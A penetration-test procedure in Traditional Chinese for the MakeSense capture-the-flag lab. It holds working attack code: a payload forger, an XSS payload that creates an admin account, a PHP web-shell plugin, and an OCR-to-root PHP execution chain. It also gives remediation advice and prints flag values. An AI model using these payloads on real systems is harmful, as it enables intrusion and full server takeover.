HTB / LINUX / MAKE SENSE

完整滲透測試標準作業程序

攻擊流程、檢測邏輯、可重現腳本、風險評估與修補建議

目標 10.129.246.24 | makesense.htb

測試日期 2026-11-05（Asia/Taipei） | 測試類型 黑箱外部測試

結果：已驗證 walter 使用者存取與 root 權限執行；兩個旗標均已讀取，測試建立的 PHP 檔已清除。

文件用途

提供可複製的 MakeSense 靶場測試程序，並區分本次在目標上直接驗證的證據與尚未動態驗證的候選 Web 攻擊路徑。此文件只適用於使用者授權的隔離靶場。

閱讀方式

標記	意義
已確認	本次對 10.129.246.24 實際執行，並保留回應或命令輸出。
候選 / 未驗證	由前端程式碼或公開靶場資料提出；本次未完成端到端利用，不視為本次已確認漏洞。
建議	供系統所有者修補與後續重測使用。

本 SOP 不包含對範圍外主機的掃描。若 IP 改變，先更新範圍與解析設定，再執行任何命令。

1. 執行摘要

本次外部測試以可重現、最小必要操作為原則。目標服務在測試期間曾間歇性無回應，成功時完成使用者與 root 驗證。

已確認的結果
SSH 以 walter 登入成功；目標上的 OCR 服務以 root 執行 PHP，透過 OCR 輸出寫入並執行 PHP 檔後，回應確認 uid=0 並包含 root.txt。已清除 codex-root.php 與 codex-cleanup.php，清理檢查回 HTTP 404。

項目	結果
範圍	10.129.246.24；虛擬主機 makesense.htb。
外部服務	22/tcp SSH；443/tcp HTTPS。80/tcp、8001/tcp 對外 filtered；8001 在主機內部僅綁定 127.0.0.1。
Web 技術	Apache 2.4.58、WordPress 7.0、自訂 webagency 主題、公開 Whisper 前端腳本。
已讀取旗標	user.txt 與 root.txt；原始值見本 PDF 第 2 頁。
限制	WordPress 匿名 AJAX 到管理員 XSS 的完整鏈本次未動態執行；SSH 候選憑證來自公開靶場資料並經登入驗證，未從本次取得的 wp-config.php 中恢復。

旗標

user.txt	root.txt
30de18f726ccd914e8beed7d20e27ae0	30572d7ec5e51d70fd95a840a3f17f15

目錄

- 2. 攻擊鏈與測試原則
- 3. 服務盤點與 WordPress 偵察
- 4. Web 初始存取候選：檢測邏輯與腳本（本次未端到端驗證）
- 5. walter 使用者存取與旗標驗證
- 6. Root OCR 提權：重現腳本與清理
- 7. 風險分級、修補優先序與重測清單
- 附錄 A. 證據索引與參考資料

2. 攻擊鏈與測試原則

01	外部盤點	22 SSH / 443 HTTPS
02	Web 偵察	WordPress 7.0、webagency、Whisper JS
03	使用者入口	walter SSH 認證成功（憑證來源為公開靶場線索，非本次 Web 鏈恢復）
04	內部服務	root 擁有的 PHP OCR，127.0.0.1:8001
05	Root 執行	OCR 任意文字存成 .php，再由 root PHP 伺服器執行
06	驗證與清理	讀取 root.txt；刪除本次建立的 PHP 檔

證據標示原則
外部 writeup 可協助提出假設，但不等同本次的測試證據。公開前端程式碼與候選攻擊路徑分別標記為「觀察到」或「未驗證」；只有目標實際回應、登入結果或權威檔案內容才標為「已確認」。

測試順序

- 先以全 TCP 埠掃描建立入口，再以服務指紋確認 22/443；80/8001 的 filtered 不代表服務不存在。
- 先讀正常首頁、JavaScript、登入頁和公開目錄索引，再對具體 handler 提出輸入控制與輸出 sink 假設。
- 對 intermittent timeout 降低速率並重查；不要把一次 filtered 或 timeout 解讀成漏洞或永久離線。
- 取得權限後只執行讀取旗標所需的最小命令；測試後清除自己建立的可執行檔。

3. 服務盤點與 WordPress 偵察

3.1 範圍與名稱解析

將 makesense.htb 指向本次靶機。使用 curl --resolve 可避免修改全系統 hosts，也可確保 HTTP Host 與 TLS SNI 使用正確主機名。

```
TARGET=10.129.246.24
HOST=makesense.htb
curl -k --resolve $HOST:443:$TARGET https://$HOST/ -D headers.txt -o home.html
```

3.2 端口與版本盤點

```
# TCP full-port scan at a controlled rate
nmap -Pn -n -sT -T3 --max-retries 2 -p- $TARGET -oN ports.txt

# Service version and default script checks
nmap -Pn -n -sT -sV -sC -p22,443 $TARGET -oN services.txt

# Low-rate check when service availability is intermittent
nmap -Pn -n -sT -T2 --max-retries 1 -p22,443 $TARGET
```

本次觀察：22/tcp OpenSSH 9.6p1；443/tcp Apache 2.4.58、WordPress 7.0、頁名 Agency LLC、TLS 憑證 CN makesense.htb。80/tcp 與 8001/tcp 對外 filtered。

3.3 WordPress 被動檢查

```
curl -k --resolve $HOST:443:$TARGET https://$HOST/ -o home.html
curl -k --resolve $HOST:443:$TARGET \
https://$HOST/wp-content/themes/webagency/assets/js/whisper/whisper-wrapper.js \
-o whisper-wrapper.js
curl -k --resolve $HOST:443:$TARGET \
https://$HOST/wp-content/themes/webagency/assets/js/main.js -o main.js
grep -nE 'ENCRYPTION_KEY|encryptPayload|submit_contact_form|save_voice_raw|save_voice_results' \
whisper-wrapper.js main.js
```

偵察結果

證據	意義與驗證界線
HTML generator / asset URL	確認 WordPress 7.0 與自訂 webagency 主題；版本資訊本身不是漏洞證明。
whisper-wrapper.js	公開 AES-GCM 金鑰及加密格式；表示用戶端可以自行產生合法格式密文，需檢查伺服器端如何信任解密後資料。
main.js AJAX 動作	觀察到 submit_contact_form、save_voice_raw、save_voice_results；handler 是否匿名可呼叫、nonce 是否授權、post_id 是否綁定使用者，需逐項配對請求驗證。
uploads 目錄索引	確認公開目錄列舉。檔案是否含敏感語音或憑證需檢查檔案內容；本次未完成 WAV 轉錄。
WPScan	本機資料庫已更新，但掃描因靶機間歇性 timeout 中止；不引用不完整的掃描命中。

> 操作注意
> 初次全埠掃描期間曾出現重傳上限與服務間歇狀態。以已觀察的端口為主，不要以高並行目錄爆破或大量密碼猜測取代功能分析。

4. Web 初始存取候選：檢測邏輯與腳本

本節根據已保存的 JavaScript 與公開靶場描述整理；本次未呼叫表單 handler、未讓管理員 bot 觸發 XSS，也未建立 WordPress 管理員。

4.1 檢測假設與配對請求

假設	檢查方式	確認條件 / 反證
Client-side key 被當作完整性保護	從公開 JS 取 key、nonce 與 JSON 欄位；在隔離靶場產生測試 payload。	伺服器接受任意客戶端密文且儲存任意 transcription/summary，才證明信任邊界缺陷。僅看到 key 不足以證明可利用。
匿名 AJAX 可建立 submission	先提交合法表單並記錄 post_id；配對錯 nonce、缺欄位、非本次 post_id。	以 HTTP 狀態、JSON success、建立的 authoritative post 狀態比較；200/400 單獨不足以定論。
管理員頁面存在儲存型 XSS	在測試內容用無害標記測試；在隔離 admin review flow 檢查 DOM sink 與輸出編碼。	需證明管理員來源頁實際解析並執行；反射字串或外部 writeup 不能代替動態執行證據。
XSS 可建立 admin	在受控 bot session 內以同源 fetch 讀取 user-new nonce，提交專用測試帳號。	需在 /wp-admin/ 使用新帳號成功登入，並記錄變更；帳號建立需標註並在測試後刪除。

4.2 AES-GCM payload 產生器

以下腳本只產生與前端格式一致的測試密文。以實際頁面取得當下 nonce，並在受控 submission 上驗證；不要重用舊 nonce。

```
# forge_payload.py - requires cryptography
import base64, hashlib, json, os
from cryptography.hazmat.primitives.ciphers.aead import AESGCM

KEY = 'READ_FROM_CURRENT_PUBLIC_JS'
payload = json.load(__import__('sys').stdin) # JSON has transcription and summary keys
iv = os.urandom(12)
key = hashlib.sha256(KEY.encode()).digest()
ct = AESGCM(key).encrypt(iv, json.dumps(payload).encode(), None)
print(base64.b64encode(iv + ct).decode())
```

前端採 SHA-256(key string) 匯出 AES-GCM key、12-byte IV，輸出 IV + ciphertext/tag 再 Base64。因 key 隨 JS 發佈，不能用來證明請求來自可信伺服器或可信瀏覽器。

4.3 管理員同源測試 payload 範例

僅在已確認 admin review sink 會執行 HTML/JavaScript 後使用。以下示例不外傳 cookie，只在管理員 session 內建立專用測試帳號；實際欄位名稱需以目標 WordPress 表單為準。

```
(async () => {
const page = await fetch('/wp-admin/user-new.php', { credentials: 'same-origin' });
const html = new DOMParser().parseFromString(await page.text(), 'text/html');
const nonce = html.querySelector('[name="_wpnonce_create-user"]')?.value;
if (!nonce) return;
const body = new URLSearchParams({
user_login: 'lab_sop_admin', email: 'lab_sop_admin@localhost.invalid',
pass1: 'USE_A_UNIQUE_RANDOM_PASSWORD', pass2: 'USE_A_UNIQUE_RANDOM_PASSWORD',
role: 'administrator', createuser: 'Add New User',
'_wpnonce_create-user': nonce, '_wp_http_referer': '/wp-admin/user-new.php'
});
await fetch('/wp-admin/user-new.php', { method: 'POST', credentials: 'same-origin',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body });
})();
```

4.4 管理權限取得後的授權 shell 驗證

若上一階段已證明 admin session 可控，可在隔離靶場上傳專用測試外掛，僅執行 id 等無害命令驗證 PHP 執行上下文。此段不表示本次已建立管理員或上傳外掛。

```
# lab-shell/lab-shell.php
<?php
/* Plugin Name: Authorized Lab Shell */
if (isset($_GET['cmd'])) {
header('Content-Type: text/plain');
echo shell_exec($_GET['cmd']);
}
?>

# ZIP lab-shell/ and upload through the WordPress plugin interface
zip -r lab-shell.zip lab-shell
# Verify with id only, then deactivate and delete the plugin
curl -k 'https://makesense.htb/wp-content/plugins/lab-shell/lab-shell.php?cmd=id'
```

本次測試狀態
觀察到 client key、nonce 與 AJAX 動作名稱；但上述匿名提交、admin XSS、管理員帳號建立、WordPress shell 路徑均未在本次對目標動態驗證。若要宣稱此鏈成立，須逐跳保留 request/response 與權威狀態證據。

5. walter 使用者存取與旗標驗證

本次使用公開靶場資料提出的 walter 認證候選，SSH 登入後由目標回傳 uid=1000(walter)。由於本次沒有先取得 WordPress shell、也沒有讀取 wp-config.php，不能聲稱已在本次動態證明資料庫密碼重用來源。

```
ssh walter@10.129.246.24
# □□□□
id
cat /home/walter/user.txt
ps -eo user,pid,cmd | grep -E 'ocr4|php -S' | grep -v grep
ss -lntp
```

判讀

命令 / 證據	預期 / 實際意義
id	實際輸出 uid=1000(walter)，確認一般使用者上下文。
cat /home/walter/user.txt	直接從目標檔案讀取 user flag，並保存至 evidence/user-flag.txt。
ps / ss	發現 root 執行 /root/.scripts/start_ocr4.sh 與 php -S 127.0.0.1:8001 -t /root/ocr4/。
port 8001 對外 filtered	與 ss 顯示 127.0.0.1 綁定一致；使用 walter SSH shell 或 SSH local forward 存取，不應把它誤判成靶機不存在。

安全處理憑證
本 SOP 不列出已驗證的候選密碼。重現時使用 HTB 帳戶自己的線索或授權憑證管理方式；避免把密碼寫入 shell history、腳本、截圖或報告。確認完成後輪替任何被重用的帳密。

6. Root OCR 提權：重現腳本與清理

已確認的本次 root 路徑。OCR 服務由 root 執行並把辨識文字存入其 document root 下的 saved/；儲存 .php 後，HTTP GET 會讓 PHP interpreter 以 root 執行。

6.1 先確認服務與認證

```
# Run in the walter SSH shell
ps -ef --forest | grep -E 'start_ocr4|php -S'
ss -lntp | grep 8001
curl -i --user walter http://127.0.0.1:8001/
```

首頁 HTML 顯示畫布送出欄位 canvas_image；伺服器處理後產生 OCR ID，再由第二個 POST 以 ocr_id、filename、save_output 保存結果。服務需 Basic Auth。

6.2 建立 OCR payload PNG

使用大型、單行、黑字白底文字，先讀回 OCR 的 output-text 並逐字比對。不要在辨識結果未確認前保存 PHP 檔。

```
# make_payload_image.py - run locally; requires Pillow
from PIL import Image, ImageDraw, ImageFont
code = "<?php echo shell_exec('id;cat /root/root.txt'); ?>"
font = ImageFont.truetype(
'/usr/share/fonts/truetype/dejavu/DejaVuSansMono-Bold.ttf', 72)
b = font.getbbox(code); pad = 40
im = Image.new('RGB', (b[2]-b[0]+2*pad, b[3]-b[1]+2*pad), 'white')
ImageDraw.Draw(im).text((pad-b[0], pad-b[1]), code, font=font, fill='black')
im.save('root-payload.png')
```

本次目標實際辨識結果與程式碼完全一致；回應中執行輸出為 uid=0(root) gid=0(root)，下一行為 root.txt。

6.3 SSH port forward 與認識/保存/執行

```
# Terminal A: create a loopback-only SSH forward
ssh -N -L 127.0.0.1:18001:127.0.0.1:8001 walter@10.129.246.24

# Terminal B: read password without storing it in shell history
read -rsp 'OCR password: ' OCR_PASS; echo
COOKIE=$(mktemp)
B64=$(base64 -w0 root-payload.png)
curl -sS -c $COOKIE -b $COOKIE -u "walter:$OCR_PASS" \
--data-urlencode "canvas_image=$B64" \
http://127.0.0.1:18001/ -o recognized.html

# Inspect output-text and copy the OCR ID
grep -oE 'ocr_[0-9a-f]+\.[0-9]+' recognized.html | head -1
OCR_ID=$(grep -oE 'ocr_[0-9a-f]+\.[0-9]+' recognized.html | head -1)
curl -sS -c $COOKIE -b $COOKIE -u "walter:$OCR_PASS" -X POST \
--data-urlencode "ocr_id=$OCR_ID" --data-urlencode 'filename=proof.php' \
--data-urlencode 'save_output=Save' http://127.0.0.1:18001/
curl -sS -b $COOKIE -u "walter:$OCR_PASS" \
http://127.0.0.1:18001/saved/proof.php
rm -f $COOKIE; unset OCR_PASS B64 OCR_ID
```

實際本次以 SSH 遠端執行同等 HTTP 請求，避免在攻擊機暴露服務。結果檔案 evidence/root-proof.txt 保存了 uid=0 與旗標。若採用上方 local forward，僅綁定 127.0.0.1，測試後關閉 tunnel。

6.4 清理測試 PHP 檔

```
# Recognize cleanup.php text and verify the OCR output first
<?php unlink('/root/ocr4/saved/proof.php'); unlink('/root/ocr4/saved/cleanup.php'); ?>

# Request cleanup.php with Basic Auth
# Confirm proof.php now returns HTTP 404
```

7. 風險分級、改善建議與重測

發現 / 狀態	風險與影響	優先改善
R1 Root OCR 任意 PHP 寫入與執行 已確認；walter 前提	以低權限使用者透過 OCR 控制 root 寫入 web root，導致任意 PHP 以 root 執行。主機完整性、機密性與可用性均受影響。高 / Critical。	停止以 root 執行 OCR；使用專用低權限帳號；輸出寫到 web root 外且不可執行；server-generated filename；拒絕 PHP extension；保存前對路徑做 allowlist；以容器或 sandbox 隔離 Tesseract/PHP。
R2 用戶端 AES key 與 AJAX 信任邊界 候選；未端到端驗證	公開 key 不能提供伺服器端信任。若解密資料被管理端直接渲染，可導致任意內容注入。	移除「用戶端加密代表可信」設計；伺服器端驗證/授權每個 post_id；按輸出 context 做 HTML encoding；禁止不必要 HTML；用伺服器端受控秘密簽章。
R3 管理員 review 儲存型 XSS 候選；本次未執行	管理員瀏覽可能被提交內容接管；可建立管理員或改寫網站程式碼。	在寫入與顯示時做 allowlist sanitize + context-aware output encoding；admin review 用獨立隔離來源；CSP/Trusted Types 作縱深防禦；高權限操作加再驗證。
R4 walter SSH 認證候選 登入已確認；來源未在本次恢復	SSH 存取後可讀取 user flag，並觸達內部 root OCR 服務。	輪替帳密、資料庫與 OS 帳號分離；資料庫帳號不得可互動 SSH；SSH 改用金鑰與 MFA/來源限制；密碼放入 secrets manager。
R5 公開 uploads 目錄列舉 目錄列舉已確認；敏感內容未確認	可能暴露語音、PII、口述憑證或工作資料。	停用 Apache Indexes；刪除舊音檔；私有物件儲存、短效授權 URL；上傳檔案做存取控制與期限清理。

修補優先序

- P0（立即）：移除 root PHP OCR；隔離辨識工作程序；停止執行 OCR 產出檔案；檢查 /root/ocr4/saved/ 是否有未授權 PHP 檔。
- P1：輪替 walter、WordPress 與資料庫相關憑證；調查是否存在新增管理員、外掛、主題修改及未知 PHP 檔；修復 stored XSS 與 AJAX 授權。
- P2：關閉公開目錄索引、清理 WAV、限制 SSH 暴露面；建立對管理員帳號建立、PHP 檔案新建與 root PHP server 的告警。

重測清單

項目	通過條件
OCR process	由非 root UID 執行；OCR/文件轉換容器不能讀取 root home。
輸出路徑	輸出在 web root 外，文件名由伺服器產生；.php 與 .phtml 副檔名無法被保存或執行。
Web output	測試 <script>、事件屬性與 HTML 標記只以純文字顯示，不在管理員瀏覽器執行。
AJAX authorization	無效 nonce、未授權 post_id、跨使用者 post_id 均拒絕；每個動作有伺服器端權限檢查。
Credential boundary	DB 密碼無法登入 SSH；walter/WordPress/DB 使用互不相同的唯一憑證。
Uploads	目錄 index 關閉；未授權請求無法讀取使用者音檔；保留檔案依政策自動清理。

附錄 A. 證據索引與執行界線

證據檔	支援內容
evidence/ports.txt	全 TCP 埠盤點：22、443 open；80、8001 filtered。
evidence/nmap-web-ssh.txt	SSH / HTTPS 版本指紋與 WordPress 7.0。
evidence/https-root.html	首頁、主題引用與公開 nonce。
evidence/whisper-wrapper.js	用戶端 AES-GCM 實作與公開 key（SOP 不重印 key 值）。
evidence/main.js	聯絡表單、匿名 AJAX 動作與前端處理流程。
evidence/ocr-home.txt	root OCR service HTML、canvas_image 輸入方式。
evidence/ocr-preview.html	本次 payload 被 OCR 精確辨識的回應。
evidence/root-proof.txt	uid=0(root) 與 root.txt 的目標回應。
evidence/cleanup-check.txt	清理腳本成功與 codex-root.php HTTP 404。
evidence/user-flag.txt / root-flag.txt	本次讀取的旗標獨立副本。

本次未完成的 Web 初始存取驗證

- 沒有提交 submit_contact_form、save_voice_raw 或 save_voice_results；故未證明 handler 的匿名可達性、post_id 綁定或 nonce 權限。
- 沒有在管理員瀏覽器驗證儲存型 XSS；沒有建立 WordPress 管理員或外掛/主題 shell。
- WPSCan 因靶機 timeout 中止；沒有完整列舉外掛或使用者。
- 公開 WAV 檔案未完成轉錄；本次不宣稱已從 WAV 得到帳密。
- walter 候選密碼由公開靶場資料提出，並在目標上驗證 SSH 成功；本次未直接讀取 wp-config.php 以證明重用來源。

參考資料（次要線索）

以下公開 walkthrough 用於理解靶場候選路徑；本 SOP 的已確認結果仍以本次目標回應與 evidence/ 中保存資料為準。

Index 389 - MakeSense walkthrough：列出 walter 候選認證與 OCR PHP 寫入流程。

hexdigest / IppSec - MakeSense：整理 AJAX、XSS、WordPress 管理員與 OCR root 路徑；來源頁明示為 AI 摘要，僅作提示。

Kebal Bhandari - MakeSense attack chain：高層次攻擊鏈背景。

> 最終結論
> 本次已直接證明 walter SSH 存取與 root OCR 任意 PHP 執行，並成功讀取兩個旗標；測試建立的兩個 PHP 檔已清除。Web 匿名 AJAX / 管理員 XSS 路徑是有程式碼線索支持的候選鏈，不是本次已驗證的必要步驟。